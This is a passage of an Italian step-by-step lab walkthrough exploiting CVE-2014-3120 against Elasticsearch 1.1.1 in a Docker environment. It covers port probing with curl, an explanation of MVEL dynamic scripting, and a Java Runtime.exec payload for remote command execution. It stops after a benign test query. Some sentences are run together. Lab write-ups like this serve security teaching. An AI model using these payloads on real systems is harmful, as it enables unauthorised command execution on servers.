
Guida di laboratorio passo-passo che dimostra lo sfruttamento di CVE-2014-3120 contro Elasticsearch 1.1.1, coprendo l'analisi della vulnerabilità, RCE tramite scripting MVEL e post-exploitation in un ambiente Docker.
Partiamo da ciò che è in esecuzione nell'ambiente. Elenchiamo tutti i container attivi:
docker ps

Risultato: Il container p1/lab10:latest è in esecuzione ed espone 2 porte esternamente:
| Mapping delle porte | Protocollo |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (da verificare) |
0.0.0.0:9300 → 9300/tcp | Sconosciuto |
Osservazione iniziale: Le porte 9200 e 9300 sono comunemente note come le porte predefinite di Elasticsearch. Tuttavia, non possiamo trarre conclusioni basandoci esclusivamente sui numeri di porta - molti altri servizi possono legarsi a qualsiasi porta.
⇒ Usiamo curl direttamente su ciascuna porta per verificare quale servizio sia effettivamente in esecuzione.
curl -i http://192.168.3.137:9300/

Analisi della risposta:
curl: (52) Empty reply from serverValutazione: Il server ha accettato la connessione TCP (nessun rifiuto della connessione), ma non ha risposto utilizzando il protocollo HTTP. Questo corrisponde al comportamento del protocollo Transport di Elasticsearch sulla porta 9300 - un protocollo binario usato per la comunicazione tra i nodi di un cluster, non HTTP.
⇒ Mentalità: La porta 9300 utilizza un protocollo binario → non può essere sfruttata direttamente via curl/browser. Passiamo a controllare la porta 9200 - la porta dell'API REST HTTP.
curl -i http://192.168.3.137:9200/

Analisi della risposta:
| Campo | Valore | Significato |
|---|---|---|
name | "Rage" | Nome del nodo Elasticsearch (nome casuale di un personaggio Marvel - comportamento predefinito delle versioni ES più vecchie) |
version.number | "1.1.1" | Versione estremamente vecchia - rilasciata ad aprile 2014 |
build_timestamp | "2014-04-16T14:27:12Z" | Compilato nel 2014 |
lucene_version | "4.7" | Lucene 4.7 - vecchio motore di indicizzazione |
tagline | "You Know, for Search" | Frase caratteristica distintiva di Elasticsearch |
Valutazione della superficie d'attacco:

⇒ Mentalità: Elasticsearch 1.1.1 abilita Dynamic Scripting per impostazione predefinita - consentendo ai client di inviare script (espressioni MVEL) nelle query di ricerca da eseguire lato server. Senza una sandbox o una validazione adeguata, un attaccante può iniettare uno script dannoso per eseguire comandi di sistema. Passo successivo: verificare se Dynamic Scripting è effettivamente attivo sul target.
Elasticsearch supporta una funzionalità di Scripting - che consente ai client di inviare script (espressioni matematiche o logiche) all'interno delle richieste di ricerca, da eseguire lato server durante l'elaborazione dei risultati. In Elasticsearch 1.x, il motore predefinito per questa funzionalità è MVEL (MVFLEX Expression Language).
Nelle versioni di Elasticsearch precedenti alla 1.2, Dynamic Scripting è abilitato per impostazione predefinita (script.disable_dynamic: false). Questo significa:
script_fields nell'API _searchjava.lang.Runtime.getRuntime().exec() per eseguire comandi di sistemascript_fieldsQuando viene inviata una richiesta di ricerca con script_fields, Elasticsearch:
_searchscript_fields → trova lo script da eseguireIn Java, il modo più comune per eseguire un comando di sistema è:
Runtime.getRuntime().exec("command");
MVEL, in quanto linguaggio di espressioni con accesso completo alle classi Java, consente di invocarlo direttamente:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
Spiegazione delle singole parti:
| Parte | Spiegazione |
|---|---|
import java.io.* | Importa le classi Java IO |
Runtime.getRuntime() | Recupera l'istanza del Java Runtime |
.exec("id") | Esegue il comando shell id |
.getInputStream() | Recupera lo stream di output del processo |
new Scanner(...).useDelimiter("\\A").next() | Legge l'intero output come stringa |
⇒ Mentalità: Con Elasticsearch, l'output della RCE viene restituito direttamente nella risposta — senza bisogno di reindirizzarlo su un file e rileggerlo. Questo rende l'exploit più pulito e più rapido da verificare.
Dopo aver identificato il target come Elasticsearch 1.1.1, il passo successivo è verificare se Dynamic Scripting è effettivamente abilitato.
La CVE-2014-3120 sfrutta il fatto che Elasticsearch consente ai client di inviare script all'interno delle richieste _search. Se lo script viene eseguito dal server, un attaccante può sostituire l'espressione innocua con un payload che chiama il Java Runtime per eseguire comandi di sistema.
Per prima cosa, creiamo un documento di test per assicurarci che la query abbia almeno un risultato corrispondente. Se nessun documento corrisponde, script_fields non verrà valutato.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
Poi eseguiamo il refresh dell'indice:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
Successivamente, inviamo una richiesta _search con script_fields contenente un'espressione MVEL innocua:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'
